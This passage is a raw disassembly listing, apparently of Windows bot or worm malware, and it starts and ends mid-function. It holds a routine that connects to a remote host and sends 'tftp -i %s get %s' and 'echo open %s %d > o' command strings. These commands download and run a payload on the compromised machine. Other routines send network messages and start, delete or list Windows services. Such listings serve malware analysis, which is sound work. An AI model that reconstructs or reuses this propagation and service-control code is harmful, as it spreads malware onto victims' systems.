[ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h jmp short loc_41AB99 ; --------------------------------------------------------------------------- loc_41AB64: ; CODE XREF: sub_41AAD0+5Fj call near ptr 27A0A66h nop push eax push offset unk_44DFB8 lea eax, [ebp+var_298] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+var_298] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41AB99: ; CODE XREF: sub_41AAD0+92j jmp short locret_41ABC8 ; --------------------------------------------------------------------------- loc_41AB9B: ; CODE XREF: sub_41AAD0+3Dj push offset unk_44DFE0 lea eax, [ebp+var_298] push eax call sub_4219C0 pop ecx pop ecx push 0 push [ebp+arg_8] lea eax, [ebp+var_298] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h locret_41ABC8: ; CODE XREF: sub_41AAD0:loc_41AB99j leave retn sub_41AAD0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 5A8h push 10h push 0 lea eax, [ebp-10h] push eax call sub_421410 add esp, 0Ch mov word ptr [ebp-10h], 2 lea eax, [ebp+0Ch] push eax call dword_4E1740 ; inet_addr mov [ebp-0Ch], eax push dword ptr [ebp+0C4h] call dword_4E1700 ; ntohs mov [ebp-0Eh], ax push 0 push 1 push 2 call dword_4E1780 ; socket mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0FFFFFFFFh jnz short loc_41AC22 xor al, al jmp locret_41AD07 ; --------------------------------------------------------------------------- loc_41AC22: ; CODE XREF: .XComp0:0041AC19j push 10h lea eax, [ebp-10h] push eax push dword ptr [ebp-14h] call dword_4E16A8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_41AC3D xor al, al jmp locret_41AD07 ; --------------------------------------------------------------------------- loc_41AC3D: ; CODE XREF: .XComp0:0041AC34j push 0 push 400h lea eax, [ebp-418h] push eax push dword ptr [ebp-14h] call dword_4E1718 ; recv mov [ebp-18h], eax push offset byte_4410E8 push offset byte_4410E8 push dword ptr [ebp+8] call sub_40C86E pop ecx push eax push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n" push 190h lea eax, [ebp-5A8h] push eax call sub_421B90 add esp, 18h push offset byte_4410E8 push offset byte_4410E8 movzx eax, word ptr dword_4E1418 push eax push dword ptr [ebp+8] call sub_40C86E pop ecx push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... push 190h lea eax, [ebp-5A8h] push eax call sub_421B90 add esp, 1Ch push 0 lea eax, [ebp-5A8h] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp-5A8h] push eax push dword ptr [ebp-14h] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_41ACE2 xor al, al jmp short locret_41AD07 ; --------------------------------------------------------------------------- loc_41ACE2: ; CODE XREF: .XComp0:0041ACDCj push 0 push 400h lea eax, [ebp-418h] push eax push dword ptr [ebp-14h] call dword_4E1718 ; recv mov [ebp-18h], eax push dword ptr [ebp-14h] call dword_4E1798 ; closesocket mov al, 1 locret_41AD07: ; CODE XREF: .XComp0:0041AC1Dj ; .XComp0:0041AC38j ... leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD09 proc near ; CODE XREF: sub_4021E5+87C7p var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1BC = dword ptr -1BCh var_138 = byte ptr -138h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = byte ptr -64h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1CCh mov [ebp+var_1CC], 94h lea eax, [ebp+var_1CC] push eax nop call near ptr 27F0576h cmp [ebp+var_1C8], 4 jnz short loc_41AD4E cmp [ebp+var_1C4], 0 jnz short loc_41AD4E cmp [ebp+var_1BC], 1 jnz short loc_41AD4C push 1 pop eax jmp locret_41AE19 ; --------------------------------------------------------------------------- loc_41AD4C: ; CODE XREF: sub_41AD09+39j jmp short loc_41AD82 ; --------------------------------------------------------------------------- loc_41AD4E: ; CODE XREF: sub_41AD09+27j ; sub_41AD09+30j cmp [ebp+var_1C8], 4 jnz short loc_41AD68 cmp [ebp+var_1C4], 0Ah jnz short loc_41AD68 push 1 pop eax jmp locret_41AE19 ; --------------------------------------------------------------------------- loc_41AD68: ; CODE XREF: sub_41AD09+4Cj ; sub_41AD09+55j cmp [ebp+var_1C8], 4 jnz short loc_41AD82 cmp [ebp+var_1C4], 5Ah jnz short loc_41AD82 push 1 pop eax jmp locret_41AE19 ; --------------------------------------------------------------------------- loc_41AD82: ; CODE XREF: sub_41AD09:loc_41AD4Cj ; sub_41AD09+66j ... push offset aNetapi32_dll_0 ; "netapi32.dll" call near ptr 27D0000h nop mov [ebp+var_68], eax push offset aNetmessagebu_0 ; "NetMessageBufferSend" push [ebp+var_68] nop call near ptr 27D0334h mov [ebp+var_6C], eax push 32h push [ebp+arg_0] lea eax, [ebp+var_64] push eax call sub_4245A0 add esp, 0Ch push 32h push [ebp+arg_4] lea eax, [ebp+var_D0] push eax call sub_4245A0 add esp, 0Ch push 32h push [ebp+arg_8] lea eax, [ebp+var_138] push eax call sub_4245A0 add esp, 0Ch lea eax, [ebp+var_138] push eax call sub_424570 pop ecx shl eax, 1 push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_D0] push eax lea eax, [ebp+var_64] push eax push 0 call [ebp+var_6C] add esp, 14h mov [ebp+var_D4], eax push [ebp+var_68] nop call near ptr 28E119Ah mov eax, [ebp+var_D4] locret_41AE19: ; CODE XREF: sub_41AD09+3Ej ; sub_41AD09+5Aj ... leave retn sub_41AD09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE1B proc near ; CODE XREF: sub_40168C+Dp ; sub_413752+Dp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch nop call near ptr 27B0DBCh push eax call sub_421AC0 pop ecx mov eax, [ebp+arg_4] sub eax, [ebp+arg_0] mov [ebp+var_4], eax fild [ebp+var_4] fstp [ebp+var_8] call sub_421AD0 mov [ebp+var_C], eax fild [ebp+var_C] fmul [ebp+var_8] fdiv dbl_43E480 call sub_42313C add eax, [ebp+arg_0] leave retn sub_41AE1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE5B proc near ; CODE XREF: sub_4021E5+57B4p ; sub_4021E5+583Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jz short loc_41AED0 push 0 push 0 mov eax, [ebp+arg_0] imul eax, 0Ch push dword_44E0B8[eax] push [ebp+arg_4] push [ebp+arg_0] call sub_41AEF5 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41AEAF push [ebp+arg_4] mov eax, [ebp+arg_0] imul eax, 0Ch push off_44E0B4[eax] push offset unk_44E178 push offset dword_4E8F24 call sub_4219C0 add esp, 10h jmp short loc_41AECE ; --------------------------------------------------------------------------- loc_41AEAF: ; CODE XREF: sub_41AE5B+2Fj push [ebp+var_4] call sub_41AFD4 pop ecx push eax push [ebp+arg_4] push offset unk_44E194 push offset dword_4E8F24 call sub_4219C0 add esp, 10h loc_41AECE: ; CODE XREF: sub_41AE5B+52j jmp short loc_41AEEE ; --------------------------------------------------------------------------- loc_41AED0: ; CODE XREF: sub_41AE5B+8j mov eax, [ebp+arg_0] imul eax, 0Ch push off_44E0B0[eax] push offset unk_44E1C0 push offset dword_4E8F24 call sub_4219C0 add esp, 0Ch loc_41AEEE: ; CODE XREF: sub_41AE5B:loc_41AECEj mov eax, offset dword_4E8F24 leave retn sub_41AE5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AEF5 proc near ; CODE XREF: sub_41AE5B+20p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch and [ebp+var_8], 0 push 0F003Fh push 0 push 0 call dword_4E16F4 ; OpenSCManagerA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41AF25 call near ptr 27A0A66h nop mov [ebp+var_8], eax jmp loc_41AFCF ; --------------------------------------------------------------------------- loc_41AF25: ; CODE XREF: sub_41AEF5+20j push 0F01FFh push [ebp+arg_4] push [ebp+var_4] call dword_4E15DC ; OpenServiceA mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_41AF4A call near ptr 27A0A66h nop mov [ebp+var_8], eax jmp short loc_41AFC6 ; --------------------------------------------------------------------------- loc_41AF4A: ; CODE XREF: sub_41AEF5+48j mov eax, [ebp+arg_0] mov [ebp+var_2C], eax cmp [ebp+var_2C], 1 jz short loc_41AF88 cmp [ebp+var_2C], 3 jz short loc_41AF6A cmp [ebp+var_2C], 3 jle short loc_41AFBD cmp [ebp+var_2C], 6 jle short loc_41AFA0 jmp short loc_41AFBD ; --------------------------------------------------------------------------- loc_41AF6A: ; CODE XREF: sub_41AEF5+65j push [ebp+arg_10] push [ebp+arg_C] push [ebp+var_28] call dword_4E15E4 ; StartServiceA test eax, eax jnz short loc_41AF86 call near ptr 27A0A66h nop mov [ebp+var_8], eax loc_41AF86: ; CODE XREF: sub_41AEF5+86j jmp short loc_41AFBD ; --------------------------------------------------------------------------- loc_41AF88: ; CODE XREF: sub_41AEF5+5Fj push [ebp+var_28] call dword_4E164C ; DeleteService test eax, eax jnz short loc_41AF9E call near ptr 27A0A66h nop mov [ebp+var_8], eax loc_41AF9E: ; CODE XREF: sub_41AEF5+9Ej jmp short loc_41AFBD ; --------------------------------------------------------------------------- loc_41AFA0: ; CODE XREF: sub_41AEF5+71j lea eax, [ebp+var_24] push eax push [ebp+arg_8] push [ebp+var_28] call dword_4E1648 ; ControlService test eax, eax jnz short loc_41AFBD nop call near ptr 27A0A66h mov [ebp+var_8], eax loc_41AFBD: ; CODE XREF: sub_41AEF5+6Bj ; sub_41AEF5+73j ... push [ebp+var_28] call dword_4E15F8 ; CloseServiceHandle loc_41AFC6: ; CODE XREF: sub_41AEF5+53j push [ebp+var_4] call dword_4E15F8 ; CloseServiceHandle loc_41AFCF: ; CODE XREF: sub_41AEF5+2Bj mov eax, [ebp+var_8] leave retn sub_41AEF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AFD4 proc near ; CODE XREF: sub_41AE5B+57p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp [ebp+var_4], 420h ja loc_41B07E cmp [ebp+var_4], 420h jz loc_41B12D cmp [ebp+var_4], 41Bh ja short loc_41B045 cmp [ebp+var_4], 41Bh jz loc_41B209 cmp [ebp+var_4], 3 jz loc_41B117 cmp [ebp+var_4], 5 jz loc_41B0D5 cmp [ebp+var_4], 6 jz loc_41B101 cmp [ebp+var_4], 57h jz loc_41B21C cmp [ebp+var_4], 7Bh jz loc_41B0EB jmp loc_41B27B ; --------------------------------------------------------------------------- loc_41B045: ; CODE XREF: sub_41AFD4+2Bj cmp [ebp+var_4], 41Ch jz loc_41B22F cmp [ebp+var_4], 41Dh jz loc_41B1F3 cmp [ebp+var_4], 41Eh jz loc_41B1DD cmp [ebp+var_4], 41Fh jz loc_41B143 jmp loc_41B27B ; --------------------------------------------------------------------------- loc_41B07E: ; CODE XREF: sub_41AFD4+11j cmp [ebp+var_4], 45Bh ja short loc_41B0BA cmp [ebp+var_4], 45Bh jz loc_41B268 mov eax, [ebp+var_4] sub eax, 422h mov [ebp+var_4], eax cmp [ebp+var_4], 11h ja loc_41B27B mov eax, [ebp+var_4] movzx eax, byte_41B2BF[eax] jmp off_41B297[eax*4] ; --------------------------------------------------------------------------- loc_41B0BA: ; CODE XREF: sub_41AFD4+B1j jmp loc_41B27B ; --------------------------------------------------------------------------- loc_41B0BF: ; CODE XREF: sub_41AFD4+DFj ; DATA XREF: .XComp0:0041B2A7o push offset aTheSpecifiedDa ; "The specified database does not exist." push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B0D5: ; CODE XREF: sub_41AFD4+48j push offset aTheHandleDoesN ; "The handle does not have the required a"... push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B0EB: ; CODE XREF: sub_41AFD4+66j push offset aTheSpecifiedSe ; "The specified service name is invalid." push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B101: ; CODE XREF: sub_41AFD4+52j push offset aTheHandleIsInv ; "The handle is invalid." push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B117: ; CODE XREF: sub_41AFD4+3Ej push offset aTheServiceBina ; "The service binary file could not be fo"... push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B12D: ; CODE XREF: sub_41AFD4+1Ej push offset aAnInstanceOfTh ; "An instance of the service is already r"... push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B143: ; CODE XREF: sub_41AFD4+9Fj push offset aTheDatabaseIsL ; "The database is locked." push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B159: ; CODE XREF: sub_41AFD4+DFj ; DATA XREF: .XComp0:0041B2B7o push offset aTheServiceDepe ; "The service depends on a service that d"... push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B16F: ; CODE XREF: sub_41AFD4+DFj ; DATA XREF: .XComp0:0041B2ABo push offset aTheServiceDe_0 ; "The service depends on another service "... push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B185: ; CODE XREF: sub_41AFD4+DFj ; DATA XREF: .XComp0:off_41B297o push offset aTheServiceHasB ; "The service has been disabled." push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B19B: ; CODE XREF: sub_41AFD4+DFj ; DATA XREF: .XComp0:0041B29Bo push offset aTheSpecified_0 ; "The specified service does not exist." push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B1B1: ; CODE XREF: sub_41AFD4+DFj ; DATA XREF: .XComp0:0041B2AFo push offset aTheServiceCoul ; "The service could not be logged on. The"... push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B1C7: ; CODE XREF: sub_41AFD4+DFj ; DATA XREF: .XComp0:0041B2B3o push offset aTheServiceHa_0 ; "The service has been marked for deletio"... push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B1DD: ; CODE XREF: sub_41AFD4+92j push offset aAThreadCouldNo ; "A thread could not be created for the s"... push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B1F3: ; CODE XREF: sub_41AFD4+85j push offset aTheProcessForT ; "The process for the service was started"... push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp loc_41B290 ; --------------------------------------------------------------------------- loc_41B209: ; CODE XREF: sub_41AFD4+34j push offset aTheServiceCann ; "The service cannot be stopped because o"... push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp short loc_41B290 ; --------------------------------------------------------------------------- loc_41B21C: ; CODE XREF: sub_41AFD4+5Cj push offset aTheRequestedCo ; "The requested control code is undefined"... push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp short loc_41B290 ; --------------------------------------------------------------------------- loc_41B22F: ; CODE XREF: sub_41AFD4+78j push offset aTheRequested_0 ; "The requested control code is not valid"... push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp short loc_41B290 ; --------------------------------------------------------------------------- loc_41B242: ; CODE XREF: sub_41AFD4+DFj ; DATA XREF: .XComp0:0041B29Fo push offset aTheRequested_1 ; "The requested control code cannot be se"... push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp short loc_41B290 ; --------------------------------------------------------------------------- loc_41B255: ; CODE XREF: sub_41AFD4+DFj ; DATA XREF: .XComp0:0041B2A3o push offset aTheServiceHasN ; "The service has not been started." push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp short loc_41B290 ; --------------------------------------------------------------------------- loc_41B268: ; CODE XREF: sub_41AFD4+BAj push offset aTheSystemIsShu ; "The system is shutting down." push offset dword_4E8864 call sub_4219C0 pop ecx pop ecx jmp short loc_41B290 ; --------------------------------------------------------------------------- loc_41B27B: ; CODE XREF: sub_41AFD4+6Cj ; sub_41AFD4+A5j ... push [ebp+arg_0] push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4E8864 call sub_4219C0 add esp, 0Ch loc_41B290: ; CODE XREF: sub_41AFD4+FCj ; sub_41AFD4+112j ... mov eax, offset dword_4E8864 leave retn sub_41AFD4 endp ; --------------------------------------------------------------------------- off_41B297 dd offset loc_41B185 ; DATA XREF: sub_41AFD4+DFr dd offset loc_41B19B dd offset loc_41B242 dd offset loc_41B255 dd offset loc_41B0BF dd offset loc_41B16F dd offset loc_41B1B1 dd offset loc_41B1C7 dd offset loc_41B159 dd offset loc_41B27B byte_41B2BF db 0 ; DATA XREF: sub_41AFD4+D8r dd 3020109h, 9040909h, 9060509h, 9090709h db 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B2D1 proc near ; CODE XREF: sub_4021E5+57E1p var_394 = dword ptr -394h var_390 = dword ptr -390h var_38C = dword ptr -38Ch var_388 = dword ptr -388h var_380 = dword ptr -380h var_224 = byte ptr -224h var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 394h and [ebp+var_8], 0 push 0F003Fh push 0 push 0 call dword_4E16F4 ; OpenSCManagerA mov [ebp+var_10], eax push 0 push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41B308: ; CODE XREF: sub_41B2D1:loc_41B4D0j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax push 168h lea eax, [ebp+var_38C] push eax push 3 push 30h push [ebp+var_10] call dword_4E16C0 ; EnumServicesStatusA test eax, eax jnz short loc_41B342 call near ptr 27A0A66h nop cmp eax, 0EAh jnz loc_41B4D5 loc_41B342: ; CODE XREF: sub_41B2D1+5Ej and [ebp+var_390], 0 jmp short loc_41B358 ; --------------------------------------------------------------------------- loc_41B34B: ; CODE XREF: sub_41B2D1+1F2j mov eax, [ebp+var_390] inc eax mov [ebp+var_390], eax loc_41B358: ; CODE XREF: sub_41B2D1+78j mov eax, [ebp+var_390] cmp eax, [ebp+var_C] jge loc_41B4C8 mov eax, [ebp+var_390] imul eax, 24h mov eax, [ebp+eax+var_380] mov [ebp+var_394], eax cmp [ebp+var_394], 1 jz short loc_41B3C5 cmp [ebp+var_394], 2 jz short loc_41B3DD cmp [ebp+var_394], 3 jz short loc_41B3F2 cmp [ebp+var_394], 4 jz short loc_41B407 cmp [ebp+var_394], 5 jz short loc_41B41C cmp [ebp+var_394], 6 jz short loc_41B431 cmp [ebp+var_394], 7 jz loc_41B446 jmp loc_41B45B ; --------------------------------------------------------------------------- loc_41B3C5: ; CODE XREF: sub_41B2D1+B3j push offset aStopped ; " Stopped" lea eax, [ebp+var_224] push eax call sub_4219C0 pop ecx pop ecx jmp loc_41B46E ; --------------------------------------------------------------------------- loc_41B3DD: ; CODE XREF: sub_41B2D1+BCj push offset aStarting ; " Starting" lea eax, [ebp+var_224] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41B46E ; --------------------------------------------------------------------------- loc_41B3F2: ; CODE XREF: sub_41B2D1+C5j push offset aStoping ; " Stoping" lea eax, [ebp+var_224] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41B46E ; --------------------------------------------------------------------------- loc_41B407: ; CODE XREF: sub_41B2D1+CEj push offset aRunning ; " Running" lea eax, [ebp+var_224] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41B46E ; --------------------------------------------------------------------------- loc_41B41C: ; CODE XREF: sub_41B2D1+D7j push offset aContinuing ; " Continuing" lea eax, [ebp+var_224] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41B46E ; --------------------------------------------------------------------------- loc_41B431: ; CODE XREF: sub_41B2D1+E0j push offset aPausing ; " Pausing" lea eax, [ebp+var_224] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41B46E ; --------------------------------------------------------------------------- loc_41B446: ; CODE XREF: sub_41B2D1+E9j push offset aPaused ; " Paused" lea eax, [ebp+var_224] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41B46E ; --------------------------------------------------------------------------- loc_41B45B: ; CODE XREF: sub_41B2D1+EFj push offset aUnknown ; " Unknown" lea eax, [ebp+var_224] push eax call sub_4219C0 pop ecx pop ecx loc_41B46E: ; CODE XREF: sub_41B2D1+107j ; sub_41B2D1+11Fj ... mov eax, [ebp+var_390] imul eax, 24h push [ebp+eax+var_388] mov eax, [ebp+var_390] imul eax, 24h push [ebp+eax+var_38C] lea eax, [ebp+var_224] push eax push offset aSSS_1 ; "%s: %s (%s)" lea eax, [ebp+var_210] push eax call sub_4219C0 add esp, 14h push 1 push [ebp+arg_8] lea eax, [ebp+var_210] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h jmp loc_41B34B ; --------------------------------------------------------------------------- loc_41B4C8: ; CODE XREF: sub_41B2D1+90j cmp [ebp+var_8], 0 jnz short loc_41B4D0 jmp short loc_41B4D5 ; --------------------------------------------------------------------------- loc_41B4D0: ; CODE XREF: sub_41B2D1+1FBj jmp loc_41B308 ; --------------------------------------------------------------------------- loc_41B4D5: ; CODE XREF: sub_41B2D1+6Bj ; sub_41B2D1+1FDj push [ebp+var_10] call dword_4E15F8 ; CloseServiceHandle cmp [ebp+var_C], 0 ja short loc_41B4E8 xor eax, eax jmp short locret_41B4EB ; --------------------------------------------------------------------------- loc_41B4E8: ; CODE XREF: sub_41B2D1+211j push 1 pop eax locret_41B4EB: ; CODE XREF: sub_41B2D1+215j leave retn sub_41B2D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B4ED proc near ; CODE XREF: sub_4021E5+597Fp ; sub_4021E5+59BAp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 cmp [ebp+arg_4], 0 jz loc_41B5AD mov eax, [ebp+arg_0] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41B514 cmp [ebp+var_8], 1 jz short loc_41B548 jmp short loc_41B557 ; --------------------------------------------------------------------------- loc_41B514: ; CODE XREF: sub_41B4ED+1Dj cmp [ebp+arg_8], 0 jnz short loc_41B52A push 24h push [ebp+arg_4] call sub_422680 pop ecx pop ecx test eax, eax jz short loc_41B53F loc_41B52A: ; CODE XREF: sub_41B4ED+2Bj push [ebp+arg_8] push [ebp+arg_4] push 0 call sub_41B654 add esp, 0Ch mov [ebp+var_4], eax jmp short loc_41B546 ; --------------------------------------------------------------------------- loc_41B53F: ; CODE XREF: sub_41B4ED+3Bj mov [ebp+var_4], 57h loc_41B546: ; CODE XREF: sub_41B4ED+50j jmp short loc_41B557 ; --------------------------------------------------------------------------- loc_41B548: ; CODE XREF: sub_41B4ED+23j push [ebp+arg_4] push 0 call sub_41B724 pop ecx pop ecx mov [ebp+var_4], eax loc_41B557: ; CODE XREF: sub_41B4ED+25j ; sub_41B4ED:loc_41B546j cmp [ebp+var_4], 0 jnz short loc_41B580 push [ebp+arg_4] mov eax, [ebp+arg_0] imul eax, 0Ch push off_44E0B4[eax] push offset dword_44E71C push offset dword_4E8B20 call sub_4219C0 add esp, 10h jmp short loc_41B5AB ; --------------------------------------------------------------------------- loc_41B580: ; CODE XREF: sub_41B4ED+6Ej push [ebp+var_4] call sub_41C123 pop ecx push eax push [ebp+arg_4] mov eax, [ebp+arg_0] imul eax, 0Ch push off_44E0B0[eax] push offset unk_44E738 push offset dword_4E8B20 call sub_4219C0 add esp, 14h loc_41B5AB: ; CODE XREF: sub_41B4ED+91j jmp short loc_41B5CB ; --------------------------------------------------------------------------- loc_41B5AD: ; CODE XREF: sub_41B4ED+Dj mov eax, [ebp+arg_0] imul eax, 0Ch push off_44E0B0[eax] push offset unk_44E764 push offset dword_4E8B20 call sub_4219C0 add esp, 0Ch loc_41B5CB: ; CODE XREF: sub_41B4ED:loc_41B5ABj mov eax, offset dword_4E8B20 leave retn sub_41B4ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B5D2 proc near ; CODE XREF: sub_41D7E0+291p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 jnz short loc_41B5E1 xor eax, eax jmp short locret_41B652 ; --------------------------------------------------------------------------- loc_41B5E1: ; CODE XREF: sub_41B5D2+9j push 0 push 0 push 0 push 0 push 0FFFFFFFFh push [ebp+arg_0] push 400h push 0 nop call near ptr 28E1569h mov [ebp+var_4], eax movzx eax, byte_4E8D20 and eax, 1 test eax, eax jnz short loc_41B62E mov al, byte_4E8D20 or al, 1 mov byte_4E8D20, al mov eax, [ebp+var_4] inc eax push eax call sub_423B90 pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] mov dword_4E8AC0, eax loc_41B62E: ; CODE XREF: sub_41B5D2+38j push 0 push 0 push [ebp+var_4] push dword_4E8AC0 push 0FFFFFFFFh push [ebp+arg_0] push 400h push 0 nop call near ptr 28E1569h mov eax, dword_4E8AC0 locret_41B652: ; CODE XREF: sub_41B5D2+Dj leave retn sub_41B5D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B654 proc near ; CODE XREF: sub_41B4ED+45p ; sub_41DC42+20Bp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch push [ebp+arg_0] call sub_41B6CD pop ecx mov [ebp+var_2C], eax push [ebp+arg_4] call sub_41B6CD pop ecx mov [ebp+var_24], eax push 24h push [ebp+arg_4] call sub_422680 pop ecx pop ecx test eax, eax jz short loc_41B68B mov [ebp+var_20], 80000000h jmp short loc_41B68F ; --------------------------------------------------------------------------- loc_41B68B: ; CODE XREF: sub_41B654+2Cj and [ebp+var_20], 0 loc_41B68F: ; CODE XREF: sub_41B654+35j and [ebp+var_1C], 0 mov [ebp+var_18], 7Fh or [ebp+var_14], 0FFFFFFFFh and [ebp+var_10], 0 push [ebp+arg_8] call sub_41B6CD pop ecx mov [ebp+var_C], eax and [ebp+var_8], 0 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push 2 push [ebp+var_2C] call dword_4E15F4 mov [ebp+var_28], eax mov eax, [ebp+var_28] leave retn sub_41B654 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B6CD proc near ; CODE XREF: sub_41B654+9p ; sub_41B654+15p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jnz short loc_41B6DD xor eax, eax jmp short locret_41B722 ; --------------------------------------------------------------------------- loc_41B6DD: ; CODE XREF: sub_41B6CD+Aj push 0 push 0 push 0FFFFFFFFh push [ebp+arg_0] push 1 push 0 nop call near ptr 28F0000h mov [ebp+var_8], eax mov eax, [ebp+var_8] lea eax, [eax+eax+2] push eax call sub_423B90 pop ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax push [ebp+var_8] push [ebp+var_4] push 0FFFFFFFFh push [ebp+arg_0] push 1 push 0 call near ptr 28F0000h nop mov eax, [ebp+var_4] locret_41B722: ; CODE XREF: sub_41B6CD+Ej leave retn sub_41B6CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B724 proc near ; CODE XREF: sub_41B4ED+60p ; sub_41D7E0+29Ap ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 